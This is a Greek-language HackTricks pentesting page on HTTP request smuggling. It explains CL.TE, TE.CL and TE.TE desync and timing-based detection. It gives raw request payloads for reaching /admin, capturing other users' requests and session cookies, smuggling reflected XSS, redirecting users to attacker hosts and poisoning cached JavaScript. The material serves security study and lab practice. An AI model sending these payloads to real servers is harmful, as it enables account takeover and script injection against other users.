hacktricks/pentesting-web/http-request-smuggling

HTTP Request Smuggling / Επίθεση HTTP Desync

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

• Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
• Αποκτήστε το επίσημο PEASS & HackTricks swag
• Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγραφήματος ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
• Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.

Τι είναι

Αυτή η ευπάθεια συμβαίνει όταν μια ασυγχρονισμένη μεταξύ μπροστινών διακομιστών και του διακομιστή πίσω επιτρέπει σε έναν επιτιθέμενο να στείλει ένα HTTP αίτημα που θα ερμηνευθεί ως ένα μόνο αίτημα από τους μπροστινούς διακομιστές (φορτοεξισορροπητής/αντίστροφος διακομιστής) και ως 2 αιτήματα από τον διακομιστή πίσω.
Αυτό επιτρέπει σε έναν χρήστη να τροποποιήσει το επόμενο αίτημα που φτάνει στον διακομιστή πίσω από αυτόν.

Θεωρία

Προδιαγραφή RFC (2161)

Εάν ληφθεί ένα μήνυμα με και πεδίο κεφαλίδας Transfer-Encoding και πεδίο κεφαλίδας Content-Length, το τελευταίο ΠΡΕΠΕΙ να αγνοηθεί.

Content-Length

Η κεφαλίδα οντότητας Content-Length υποδεικνύει το μέγεθος του σώματος της οντότητας, σε bytes, που στέλνεται στον παραλήπτη.

Transfer-Encoding: chunked

Η κεφαλίδα Transfer-Encoding καθορίζει τη μορφή κωδικοποίησης που χρησιμοποιείται για την ασφαλή μεταφορά του σώματος φορτίου στον χρήστη.
Το Chunked σημαίνει ότι μεγάλα δεδομένα στέλνονται σε μια σειρά από κομμάτια

Πραγματικότητα

Ο Μπροστινός Τελικός (ένας φορτοεξισορροπητής / Αντίστροφος Διακομιστής) επεξεργάζεται την content-length ή την transfer-encoding κεφαλίδα και ο Διακομιστής Πίσω επεξεργάζεται την άλλη προκαλώντας μια ασυγχρονισμένη μεταξύ των 2 συστημάτων.
Αυτό μπορεί να είναι πολύ κρίσιμο καθώς ένας επιτιθέμενος θα μπορεί να στείλει ένα αίτημα στον αντίστροφο διακομιστή που θα ερμηνευθεί από τον διακομιστή πίσω ως 2 διαφορετικά αιτήματα. Ο κίνδυνος αυτής της τεχνικής έγκειται στο γεγονός ότι ο διακομιστής πίσω θα ερμηνεύσει το 2ο ενσωματωμένο αίτημα σαν να προέρχεται από τον επόμενο πελάτη και το πραγματικό αίτημα αυτού του πελάτη θα είναι μέρος του ενσωματωμένου αιτήματος.

Ειδικότητες

Θυμηθείτε ότι στο HTTP ένα χαρακτήρας νέας γραμμής αποτελείται από 2 bytes:

• Content-Length: Αυτή η κεφαλίδα χρησιμοποιεί ένα δεκαδικό αριθμό για να υποδείξει τον αριθμό των bytes του σώματος του αιτήματος. Το σώμα αναμένεται να τελειώσει στον τελευταίο χαρακτήρα, δεν απαιτείται νέα γραμμή στο τέλος του αιτήματος.
• Transfer-Encoding: Αυτή η κεφαλίδα χρησιμοποιεί στο σώμα ένα εξαδικαδικό αριθμό για να υποδείξει τον αριθμό των bytes του επόμενου κομματιού. Το κομμάτι πρέπει να τελειώσει με μια νέα γραμμή αλλά αυτή η νέα γραμμή δεν μετράται από τον δείκτη μήκους. Αυτή η μέθοδος μεταφοράς πρέπει να τελειώσει με ένα κομμάτι μεγέθους 0 ακολουθούμενο από 2 νέες γραμμές: 0
• Connection: Βασισμένο στην εμπειρία μου συνιστάται να χρησιμοποιήσετε Connection: keep-alive στο πρώτο αίτημα του Request Smuggling.

Βασικά Παραδείγματα

{% hint style="success" %} Όταν προσπαθείτε να εκμεταλλευτείτε αυτό με το Burp Suite απενεργοποιήστε το Update Content-Length και το Normalize HTTP/1 line endings στο repeater επειδή μερικές συσκευές καταχρώνται νέες γραμμές, επιστροφές κέρματος και ακανόνιστα μήκη περιεχομένου. {% endhint %}

Οι επιθέσεις HTTP request smuggling δημιουργούνται με την αποστολή ασαφών αιτημάτων που εκμεταλλεύονται αντιφάσεις στον τρόπο με τον οποίο οι μπροστινοί και οι πίσω διακομιστές ερμηνεύουν τις κεφαλίδες Content-Length (CL) και Transfer-Encoding (TE). Αυτές οι επιθέσεις μπορούν να εκδηλωθούν σε διαφορετικές μορφές, κυρίως ως CL.TE, TE.CL και TE.TE. Κάθε τύπος αντιπροσωπεύει μια μοναδική συνδυαστική προτεραιότητας των μπροστινών και των πίσω διακομιστών σε αυτές τις κεφαλίδες. Οι ευπάθειες προκύπτουν από τους διακομιστές που επεξεργάζονται το ίδιο αίτημα με διαφορετικούς τρόπους, οδηγώντας σε απροσδόκητα και ενδεχομένως κακόβουλα αποτελέσματα.

Βασικά Παραδείγματα Τύπων Ευπαθειών

Ευπάθεια CL.TE (Χρήση Content-Length από τον Μπροστινό, Χρήση Transfer-Encoding από τον Πίσω)

• Μπροστινός (CL): Επεξεργάζεται το αίτημα με βάση την κεφαλίδα Content-Length.
• Πίσω (TE): Επεξεργάζεται το αίτημα με βάση την κεφαλίδα Transfer-Encoding.
• Σενάριο Επίθεσης:
• Ο επιτιθέμενος στέλνει ένα αίτημα όπου η τιμή της κεφαλίδας Content-Length δεν ταιριάζει με το πραγματικό μήκος περιεχομένου.
• Ο μπροστινός διακομιστής προωθεί ολόκληρο το αίτημα στον πίσω, με βάση την τιμή του Content-Length.
• Ο πίσω διακομιστής επεξεργάζεται το αίτημα ως chunked λ

Ευπάθεια TE.TE (Χρήση μεταφοράς και από τα δύο, με απόκρυψη)

• Διακομιστές: Και τα δύο υποστηρίζουν το Transfer-Encoding, αλλά ο ένας μπορεί να εξαπατηθεί ώστε να το αγνοήσει μέσω απόκρυψης.
• Σενάριο Επίθεσης:
• Ο επιτιθέμενος στέλνει ένα αίτημα με αποκρυμμένους κεφαλίδες Transfer-Encoding.
• Ανάλογα με τον διακομιστή (μπροστινό ή πίσω) που αποτυγχάνει να αναγνωρίσει την απόκρυψη, μπορεί να εκμεταλλευτείται μια ευπάθεια CL.TE ή TE.CL.
• Το μη επεξεργασμένο τμήμα του αιτήματος, όπως το βλέπει ένας από τους διακομιστές, γίνεται μέρος ενός επόμενου αιτήματος, οδηγώντας σε smuggling.
• Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

Σενάριο CL.CL (Χρήση Μήκους-Περιεχομένου από και τους Δύο Διακομιστές):

• Και οι δύο διακομιστές επεξεργάζονται το αίτημα μόνο βασιζόμενοι στην κεφαλίδα Content-Length.
• Αυτό το σενάριο συνήθως δεν οδηγεί σε smuggling, καθώς υπάρχει συμφωνία στον τρόπο που ερμηνεύουν το μήκος του αιτήματος και οι δύο διακομιστές.
• Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Κανονικό Αίτημα

Σενάριο CL != 0:

• Αναφέρεται σε σενάρια όπου η κεφαλίδα Content-Length είναι παρούσα και έχει μια τιμή διαφορετική από το μηδέν, υποδηλώνοντας ότι το σώμα του αιτήματος έχει περιεχόμενο.
• Είναι κρίσιμο για την κατανόηση και τη δημιουργία επιθέσεων smuggling, καθώς επηρεάζει τον τρόπο με τον οποίο οι διακομιστές καθορίζουν το τέλος ενός αιτήματος.
• Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Μη-Κενό Σώμα

Καταστροφή του web server

Αυτή η τεχνική είναι επίσης χρήσιμη σε σενάρια όπου είναι δυνατόν να καταστραφεί ένας web server κατά την ανάγνωση των αρχικών δεδομένων HTTP αλλά χωρίς να κλείσει η σύνδεση. Με αυτόν τον τρόπο, το σώμα του αιτήματος HTTP θα θεωρηθεί το επόμενο αίτημα HTTP.

Για παράδειγμα, όπως εξηγείται στο αυτό το άρθρο, στο Werkzeug ήταν δυνατό να σταλούν μερικοί χαρακτήρες Unicode και θα κάνουν τον διακομιστή να καταρρακωθεί. Ωστόσο, αν η σύνδεση HTTP δημιουργήθηκε με την κεφαλίδα Connection: keep-alive, το σώμα του αιτήματος δεν θα διαβαστεί και η σύνδεση θα παραμείνει ανοιχτή, έτσι το σώμα του αιτήματος θα θεωρηθεί το επόμενο αίτημα HTTP.

Εξαναγκάζοντας μέσω κεφαλίδων hop-by-hop

Καταχρώμενοι τις κεφαλίδες hop-by-hop μπορείτε να υποδείξετε στον διαμεσολαβητή να διαγράψει την κεφαλίδα Content-Length ή Transfer-Encoding έτσι ώστε να είναι δυνατή η κατάχρηση με HTTP request smuggling.

Connection: Content-Length

Για περισσότερες πληροφορίες σχετικά με τις κεφαλίδες hop-by-hop επισκεφθείτε:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Εντοπισμός HTTP Request Smuggling

Η εντοπισμός ευπαθειών στο HTTP request smuggling μπορεί συχνά να επιτευχθεί χρησιμοποιώντας τεχνικές χρονομέτρησης, οι οποίες βασίζονται στο παρατηρώντας πόσο χρόνο χρειάζεται ο διακομιστής για να ανταποκριθεί σε παραμορφωμένα αιτήματα. Αυτές οι τεχνικές είναι ιδιαίτερα χρήσιμες για τον εντοπισμό των ευπαθειών CL.TE και TE.CL. Εκτός από αυτές τις μεθόδους, υπάρχουν και άλλες στρατηγικές και εργαλεία που μπορούν να χρησιμοποιηθούν για τον εντοπισμό τέτοιων ευπαθειών:

Εντοπισμός Ευπαθειών CL.TE Χρησιμοποιώντας Τεχνικές Χρονομέτρησης

• Μέθοδος:
• Αποστολή ενός αιτήματος που, αν η εφαρμογή είναι ευάλωτη, θα οδηγήσει τον διακομιστή να περιμένει για επιπλέον δεδομένα.
• Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Παρατήρηση:
• Ο διακομιστής μπροστά επεξεργάζεται το αίτημα με βάση το Content-Length και διακόπτει το μήνυμα πρόωρα.
• Ο διακομιστής πίσω, περιμένοντας ένα μήνυμα σε κομμάτια, περιμένει το επόμενο κομμάτι που δεν φτάνει ποτέ, προκαλώντας καθυστέρηση.
• Ενδείξεις:
• Διακοπές χρόνου ή μεγάλες καθυστερήσεις στην απόκριση.
• Λήψη σφάλματος 400 Bad Request από τον διακομιστή πίσω, μερικές φορές με λεπτομερείς πληροφορίες του διακομιστή.

Εντοπισμός Ευπαθειών TE.CL Χρησιμοποιώντας Τεχνικές Χρονομέτρησης

• Μέθοδος:
• Αποστολή ενός αιτήματος που, αν η εφαρμογή είναι ευάλωτη, θα οδηγήσει τον διακομιστή να περιμένει για επιπλέον δεδομένα.
• Παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Παρατήρηση:
• Ο διακομιστής μπροστά επεξεργάζεται το αίτημα με βάση το Transfer-Encoding και προωθεί ολόκληρο το μήνυμα.
• Ο διακομιστής πίσω, περιμένοντας ένα μήνυμα με βάση το Content-Length, περιμένει για επιπλέον δεδομένα που δεν φτάνουν ποτέ, προκαλώντας καθυστέρηση.

Άλλες Μέθοδοι για τον Εντοπισμό Ευπαθειών

• Ανάλυση Διαφορετικής Απόκρισης:
• Αποστολή ελαφρώς διαφορετικών εκδόσεων ενός αιτήματος και παρατήρηση εάν οι αποκρίσεις του διακομιστή διαφέρουν με έναν μη αναμενόμενο τρόπο, υποδεικνύοντας μια αντίφαση στην ανάλυση.
• Χρήση Αυτοματοποιημένων Εργαλείων:
• Εργαλεία όπως η επέκταση 'HTTP Request Smuggler' του Burp Suite μπορούν να ελέγξουν αυτόματα αυτές τις ευπαθείες αποστέλλοντας διάφορες μορφές ασαφών αιτημάτων και αναλύοντας τις αποκρίσεις.
• Δοκιμές Διακυμάνσεων Μήκους Περιεχομένου:
• Αποστολή αιτημάτων με μεταβαλλόμενες τιμές Content-Length που δεν είναι συγχρονισμένες με το πραγματικό μήκος περιεχομένου και παρατήρηση πώς ο διακομιστής χειρίζεται τέτοιες αναφορές.
• Δοκιμές Διακυμάνσεων Μεταφοράς Κωδικοποίησης:
• Αποστολή αιτημάτων με αμφισβητούμενους ή μη έγκυρους κεφαλίδες Transfer-Encoding και παρακολούθηση πώς αντιδρούν διαφορετικά οι διακομιστές μπροστά και πίσω.

Δοκιμή Ευπαθειών στο HTTP Request Smuggling

Μετά την επιβεβαίωση της αποτελεσματικότητας των τεχνικών χρονομέτρησης, είναι κρίσιμο να επαληθεύσετε εάν τα αιτήματα του πελάτη μπορούν να παραπλαγούν. Μια απλή μέθοδος είναι να προσπαθήσετε να δηλητηριάσετε τα αιτήματά σας, για παράδειγμα, κάνοντας ένα αίτημα στο / να οδηγεί σε απάντηση 404. Τα παραδείγματα CL.TE και TE.CL που συζητήθηκαν προηγουμένως στο Βασικά Παραδείγματα δείχνουν πώς να δηλητηριάσετε το αίτημα ενός πελάτη για να προκαλέσετε μια απάντηση 404, παρά το γεγονός ότι ο πελάτης στοχεύει να έχει πρόσβαση σε διαφορετικό πόρο.

Κύριες Επισημάνσεις

Όταν δοκιμάζετε ευπαθείς στο request smuggling με επεμβάσεις σε άλλα αιτήματα, θυμηθείτε:

• Διακριτές Δικτυακές Συνδέσεις: Τα "επίθεση" και "κανονικά" αιτήματα πρέπει να αποστέλλονται μέσω ξεχωριστών δικτυακών συνδέσεων. Η χρήση της ίδιας σύνδεσης για και τα δύο δεν επιβεβαιώνει την ύπαρξη της ευπαθείας.
• Συνεπείς URL και Παράμετροι: Στόχος είναι να χρησιμοποιηθούν ίδιες διευθύνσεις URL και ονόματα παραμέτρων για τα δύο αιτήματα. Οι σύγχρονες εφαρμογές συχνά κατευθύνουν τα αιτήματα σε συγκεκριμένους διακομιστές βάσει της διεύθυνσης URL και των παραμέτρων. Η ταύτιση αυτών αυξάνει την πιθανότητα ότι και τα δύο αιτήματα θα επεξεργαστούν από τον ίδιο διακομιστή, προϋπόθεση για μια επιτυχημένη επίθεση.
• Χρονισμός και Συνθήκες Ανταγωνισμού: Το "κανονικό" αίτημα, που προορίζεται να ανιχνεύσει την παρεμβολή από το "επίθεση" αίτημα, ανταγωνίζεται ενάντια σε άλλα ταυτόχρονα αιτήματα εφαρμογής. Επομένως, στείλτε το "κανονικό" αίτημα αμέσως μετά το "επίθεση" αίτημα. Οι απασχολημένες εφαρμογές μπορεί να απαιτούν πολλαπλές δοκιμές για την οριστική επιβεβαίωση της ευπαθείας.
• Προκλήσεις Ισορροπίας Φορτίου: Οι διακομιστές μπροστά που ενεργούν ως ισορροπητές φορτίου μπορεί να διανέμουν τα αιτήματα σε διάφορα συστήματα πίσω. Αν τα "επίθεση" και "κανονικά" αιτήματα καταλήξουν σε διαφορετικά συστήματα, η επίθεση δε

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

Στην επίθεση CL.TE, το κεφαλίδα Content-Length χρησιμοποιείται για το αρχικό αίτημα, ενώ το ενσωματωμένο αίτημα χρησιμοποιεί το κεφαλίδα Transfer-Encoding: chunked. Το εμπρόσθιο προξενείο επεξεργάζεται το αρχικό αίτημα POST αλλά αποτυγχάνει να επιθεωρήσει το ενσωματωμένο αίτημα GET /admin, επιτρέποντας την μη εξουσιοδοτημένη πρόσβαση στη διαδρομή /admin.

Παράδειγμα TE.CL

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Αντίστροφα, στην επίθεση TE.CL, το αρχικό αίτημα POST χρησιμοποιεί Transfer-Encoding: chunked, και το ενσωματωμένο αίτημα που ακολουθεί επεξεργάζεται με βάση την κεφαλίδα Content-Length. Παρόμοια με την επίθεση CL.TE, το εμπρόσθιο προξενεί την παράβλεψη του κρυφού αιτήματος GET /admin, παρέχοντας κατά λάθος πρόσβαση στην περιορισμένη διαδρομή /admin.

Αποκάλυψη αναδιατύπωσης αιτημάτων εμπρόσθιας πλευράς

Οι εφαρμογές χρησιμοποιούν συχνά έναν εξυπηρετητή εμπρόσθιας πλευράς για να τροποποιούν τα εισερχόμενα αιτήματα πριν τα περάσουν στον εξυπηρετητή πίσω από αυτόν. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη κεφαλίδων, όπως X-Forwarded-For: <IP του πελάτη>, για να μεταφέρει τη διεύθυνση IP του πελάτη στον εξυπηρετητή πίσω από αυτόν. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς ενδέχεται να αποκαλύψει τρόπους για παράκαμψη προστασιών ή αποκάλυψη κρυφών πληροφοριών ή σημείων πρόσβασης.

Για να εξετάσετε πώς ένας διαμεσολαβητής αλλάζει ένα αίτημα, εντοπίστε ένα παράμετρο POST που ο εξυπηρετητής πίσω απαντά με αυτήν. Στη συνέχεια, δημιουργήστε ένα αίτημα, χρησιμοποιώντας αυτήν την παράμετρο τελευταία, παρόμοια με το παρακάτω:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Σε αυτή τη δομή, τα στοιχεία των συνεχόμενων αιτημάτων προστίθενται μετά το search=, το οποίο είναι η παράμετρος που αντανακλάται στην απόκριση. Αυτή η αντανάκλαση θα αποκαλύψει τις κεφαλίδες του επόμενου αιτήματος.

Είναι σημαντικό να ευθυγραμμίσετε την κεφαλίδα Content-Length του εμφωλευμένου αιτήματος με το πραγματικό μήκος περιεχομένου. Ξεκινώντας με μια μικρή τιμή και αυξάνοντάς τη σταδιακά είναι συμβουλευτικό, καθώς μια πολύ χαμηλή τιμή θα περικόψει τα αντανακλώμενα δεδομένα, ενώ μια πολύ υψηλή τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.

Αυτή η τεχνική είναι επίσης εφαρμόσιμη στο πλαίσιο μιας ευπαθότητας TE.CL, αλλά το αίτημα πρέπει να τερματίζεται με search=\r\n0. Ανεξάρτητα από τους χαρακτήρες αλλαγής γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης.

Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων αιτημάτων που πραγματοποιούνται από τον εμπρόσθιο διακομιστή, εκτελώντας ουσιαστικά μια έρευνα προς τον εαυτό του.

Καταγραφή αιτημάτων άλλων χρηστών

Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσθέτοντας ένα συγκεκριμένο αίτημα ως την τιμή μιας παραμέτρου κατά τη διάρκεια μιας λειτουργίας POST. Έτσι μπορεί να επιτευχθεί:

Προσθέτοντας το ακόλουθο αίτημα ως τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το αίτημα του επόμενου πελάτη:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Σε αυτό το σενάριο, το παράμετρος σχολίου προορίζεται να αποθηκεύσει το περιεχόμενο εντός της ενότητας σχολίων ενός δημόσια προσβάσιμης σελίδας. Συνεπώς, το περιεχόμενο του επόμενου αιτήματος θα εμφανιστεί ως σχόλιο.

Ωστασούν, αυτή η τεχνική έχει περιορισμούς. Γενικά, αποθανατίζει δεδομένα μόνο μέχρι τον διαχωριστικό παραμέτρου που χρησιμοποιείται στο κλοπομένο αίτημα. Για τις υποβολές φόρμας κωδικοποιημένες σε URL, αυτός ο διαχωριστικός χαρακτήρας είναι το σύμβολο &. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του χρήστη θύματος θα σταματήσει στο πρώτο &, το οποίο μπορεί ακόμη να αποτελεί μέρος της συμβολοσειράς ερωτήματος.

Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι εφικτή και με μια ευπάθεια TE.CL. Σε τέτοιες περιπτώσεις, το αίτημα θα πρέπει να ολοκληρωθεί με search=\r\n0. Ανεξάρτητα από τους χαρακτήρες αλλαγής γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης.

Χρήση του κλοπομένου αιτήματος HTTP για εκμετάλλευση αντανακλαστικού XSS

Το Κλοπομένο Αίτημα HTTP μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί σελίδες ιστού ευάλωτες σε Αντανακλαστικό XSS, προσφέροντας σημαντικά πλεονεκτήματα:

• Δεν απαιτείται αλληλεπίδραση με τους στόχους.
• Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι συνήθως μη προσβάσιμα, όπως οι κεφαλίδες αιτήματος HTTP.

Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη στο Αντανακλαστικό XSS μέσω της κεφαλίδας User-Agent, το παρακάτω φορτίο δείχνει πώς να εκμεταλλευτεί αυτήν την ευπάθεια:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Αυτό το φορτίο είναι δομημένο για να εκμεταλλευτεί την ευπάθεια με τους εξής τρόπους:

1. Έναρξη ενός αιτήματος POST, που φαίνεται τυπικό, με ένα κεφαλίδα Transfer-Encoding: chunked για να υποδείξει την έναρξη του smuggling.
2. Ακολουθείται από ένα 0, που σηματοδοτεί το τέλος του σώματος μηνύματος σε κομμάτια.
3. Στη συνέχεια, εισάγεται ένα smuggled αίτημα GET, όπου η κεφαλίδα User-Agent εισάγεται με ένα script, <script>alert(1)</script>, ενεργοποιώντας το XSS όταν ο διακομιστής επεξεργάζεται αυτό το επόμενο αίτημα.

Με τη χειραγώγηση του User-Agent μέσω smuggling, το φορτίο παρακάμπτει τους κανονικούς περιορισμούς αιτημάτων, εκμεταλλευόμενο την ευπάθεια του Reflected XSS με έναν μη τυπικό αλλά αποτελεσματικό τρόπο.

HTTP/0.9

{% hint style="danger" %} Στην περίπτωση που το περιεχόμενο του χρήστη αντανακλάται σε μια απάντηση με ένα Content-type όπως text/plain, αποτρέποντας την εκτέλεση του XSS. Αν ο διακομιστής υποστηρίζει HTTP/0.9 ενδέχεται να είναι δυνατή η παράκαμψη αυτού! {% endhint %}

Η έκδοση HTTP/0.9 ήταν προηγούμενη της 1.0 και χρησιμοποιεί μόνο GET ρήματα και δεν απαντά με κεφαλίδες, μόνο με το σώμα.

Σε αυτήν την ανάλυση, αυτό καταχράστηκε με ένα request smuggling και ένα ευάλωτο σημείο που θα απαντήσει με την είσοδο του χρήστη για να κρύψει ένα αίτημα με HTTP/0.9. Η παράμετρος που θα αντανακλαστεί στην απάντηση περιείχε μια ψεύτικη απάντηση HTTP/1.1 (με κεφαλίδες και σώμα), έτσι η απάντηση θα περιέχει έγκυρο εκτελέσιμο κώδικα JS με ένα Content-Type του text/html.

Εκμεταλλευόμενοι Επανακατευθύνσεις Στον Ιστό με HTTP Request Smuggling

Οι εφαρμογές συχνά ανακατευθύνουν από ένα URL σε ένα άλλο χρησιμοποιώντας το όνομα κεφαλίδας Host στο URL ανακατεύθυνσης. Αυτό είναι συνηθισμένο με διακομιστές ιστού όπως το Apache και το IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς κάθετο γραμμή οδηγεί σε ανακατεύθυνση για να περιλαμβάνει την κάθετο γραμμή:

GET /home HTTP/1.1
Host: normal-website.com

Αποτελέσματα:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Αν και φαίνεται ανώδυνο, αυτή η συμπεριφορά μπορεί να χειριστεί χρησιμοποιώντας HTTP request smuggling για να ανακατευθύνει τους χρήστες σε εξωτερικό ιστότοπο. Για παράδειγμα:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Αυτό το κρυφό αίτημα μπορεί να οδηγήσει το επόμενο επεξεργασμένο αίτημα χρήστη να ανακατευθυνθεί σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Αποτελέσματα:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Σε αυτό το σενάριο, ένα αίτημα ενός χρήστη για ένα αρχείο JavaScript απάγεται. Ο επιτιθέμενος μπορεί δυνητικά να εκμεταλλευτεί τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.

Εκμεταλλευόμενοι τη Δηλητηρίαση της Προσωρινής Μνήμης του Web μέσω της Κλοπής HTTP Αιτημάτων

Η δηλητηρίαση της προσωρινής μνήμης του web μπορεί να εκτελεστεί εάν οποιοδήποτε στοιχείο της υποδομής μπροστινού τελευταίου σταδίου αποθηκεύει περιεχόμενο, τυπικά για να βελτιώσει την απόδοση. Με τη χειραγώγηση της απάντησης του διακομιστή, είναι δυνατόν να δηλητηριαστεί η προσωρινή μνήμη.

Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν για να επιστρέψουν ένα σφάλμα 404 (ανατρέξτε στα Βασικά Παραδείγματα). Με παρόμοιο τρόπο, είναι εφικτό να εξαπατηθεί ο διακομιστής ώστε να παραδώσει περιεχόμενο /index.html αντί για ένα αίτημα για /static/include.js. Ως αποτέλεσμα, το περιεχόμενο του /static/include.js αντικαθίσταται στην προσωρινή μνήμη με αυτό του /index.html, καθιστώντας το /static/include.js μη προσβάσιμο για τους χρήστες, πιθανώς οδηγώντας σε μια Αρνηση Υπηρεσίας (DoS).

Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή εάν ανακαλυφθεί μια ευπάθεια Ανοικτής Ανακατεύθυνσης ή αν υπάρχει μια επανακατεύθυνση σε μια ανοικτή ανακατεύθυνση στον ιστότοπο. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούνται για να αντικατασταθεί το προσωρινά αποθηκευμένο περιεχόμενο του /static/include.js με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, ενεργοποιώντας ουσιαστικά μια ευρεία επίθεση Cross-Site Scripting (XSS) εναντίον όλων των πελατών που ζητούν το ενημερωμένο /static/include.js.

Παρακάτω παρουσιάζεται μια εικόνα της εκμετάλλευσης δηλητηρίασης της προσωρινής μνήμης σε συνδυασμό με μια επανακατεύθυνση σε ανοικτή ανακατεύθυνση στον ιστότοπο. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της προσωρινής μνήμης του /static/include.js για να παρέχει κώδικα JavaScript που ελέγχεται από τον επιτιθέμενο:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Σημειώστε το ενσωματωμένο αίτημα που στοχεύει στο /post/next?postId=3. Αυτό το αίτημα θα ανακατευθυνθεί στο /post?postId=4, χρησιμοποιώντας την τιμή της κεφαλίδας Host για να προσδιορίσει τον τομέα. Αλλάζοντας την κεφαλίδα Host, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στον δικό του τομέα (επανακατεύθυνση στον τόπο για ανοικτή ανακατεύθυνση).

Μετά από επιτυχή δηλητηρίαση socket, ένα GET αίτημα για /static/include.js θα πρέπει να ξεκινήσει. Αυτό το αίτημα θα έχει μολυνθεί από το προηγούμενο αίτημα επανακατεύθυνσης στον τόπο για ανοικτή ανακατεύθυνση και θα ανακτήσει το περιεχόμενο του script που ελέγχεται από τον επιτιθέμενο.

